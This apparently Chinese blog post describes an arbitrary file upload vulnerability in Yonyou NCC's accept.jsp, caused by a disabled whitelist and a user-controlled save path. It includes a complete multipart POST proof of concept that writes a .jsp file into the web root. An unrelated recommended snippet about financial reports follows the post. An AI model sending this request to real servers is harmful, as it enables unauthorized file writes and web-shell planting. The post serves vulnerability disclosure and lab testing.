用友ncc accept.jsp漏洞

漏洞原理

accept.jsp源码中设置了白名单和黑名单的代码,但是白名单代码被注释掉了(默认被注释)

只启用了黑名单。文件保存的函数fname又被定义为可以随便更改。

那可以上传白名单内的文件名,然后通过传参将文件保存的名字进行修改。以及修改文件位置

(具体源码不能够在平台展示出)

漏洞靶场复现

以下复现常见均在靶场上进行,请获得授权后在开展渗透

访问页面 http://ip:prot//aim/equipmap/accept.jsp

页面存在存在 则表明漏洞可能能够利用

通过POST发送数据包

POST /aim/equipmap/accept.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 370
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------16314487820932200903769468567
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

-----------------------------16314487820932200903769468567
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain

win
-----------------------------16314487820932200903769468567
Content-Disposition: form-data; name="fname"

\webapps\nc_web\test.jsp
-----------------------------16314487820932200903769468567--

解析一下请求的意思

这里值得注意的是 因为安装环境不同,所以可能会遇到保存的路径不一致的情况,这时候需要猜测服务器的路径。(但是默认为POC中的路径)

然后根据响应包是否包含parent.afterUpload(1)来判断文件是否上传成功

上传成功访问

以上复现均在靶场上实现!网络不是法外之地!请遵循中华人民共和国网络安全法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ncc2020.05的自由报表文档是公司每月的财务报告,以便于管理层了解公司的财务状况和经营情况。该文档包含了许多重要的财务数据和指标,用于评估公司的盈利能力和稳定性。 首先,自由报表文档会列出公司的收入和支出情况。收入部分会详细列出各项业务的销售收入,例如不同产品或服务的销售额,以及不同地区或客户组的销售额。支出部分会列出各项费用,如人力资源费用、营销费用、研发费用以及运营费用等。 其次,自由报表文档还会显示公司的利润情况。这包括营业利润、税前利润和净利润等指标。这些数字能够让管理层了解公司的盈利水平,以及核心业务的盈利能力。 此外,自由报表文档还会包括资产和负债情况。资产表会列出公司的各项资产,如现金、应收账款、存货、固定资产等。负债表则会列出公司的各项负债,如应付账款、短期借款、长期借款等。通过比较资产和负债的关系,我们可以评估公司的财务健康状况和偿债能力。 最后,自由报表文档还会提供现金流量表。这表明了现金的流入和流出情况,包括经营活动、投资活动和筹资活动。通过分析现金流量表,我们可以了解公司的资金运作状况,以及现金的流动性和稳定性。 综上所述,ncc2020.05的自由报表文档提供了公司财务状况和经营情况的详细信息,以帮助管理层做出决策并评估公司的运营表现。这对公司的长期发展和管理至关重要。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值